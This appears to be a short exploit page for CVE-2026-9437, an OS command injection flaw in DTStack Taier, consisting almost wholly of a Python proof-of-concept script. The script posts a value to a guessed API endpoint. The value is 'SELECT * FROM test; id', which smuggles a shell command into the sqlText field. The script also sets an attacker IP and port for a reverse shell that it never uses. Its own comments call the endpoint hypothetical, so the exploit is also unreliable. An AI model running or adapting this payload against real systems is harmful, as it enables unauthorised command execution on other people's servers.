CVE-2026-9437 DTStack Taier操作系统命令注入漏洞

import requests # Target URL (Hypothetical endpoint based on vulnerability description) target_url = "http://target-host:port/api/rest/runtime/exec" # Attacker's IP for reverse shell (example) attacker_ip = "192.168.1.100" attacker_port = "4444" # Payload injecting OS command via sqlText parameter # Using a semicolon to separate the intended SQL from the malicious OS command # Example: executing a simple 'id' command or a reverse shell payload = "SELECT * FROM test; id" # Data to be sent in the request data = { "sqlText": payload } try: # Sending the malicious request response = requests.post(target_url, json=data) if response.status_code == 200: print("[+] Request sent successfully!") print("[+] Response:") print(response.text) else: print("[-] Request failed with status code:", response.status_code) except Exception as e: print(f"[-] An error occurred: {e}")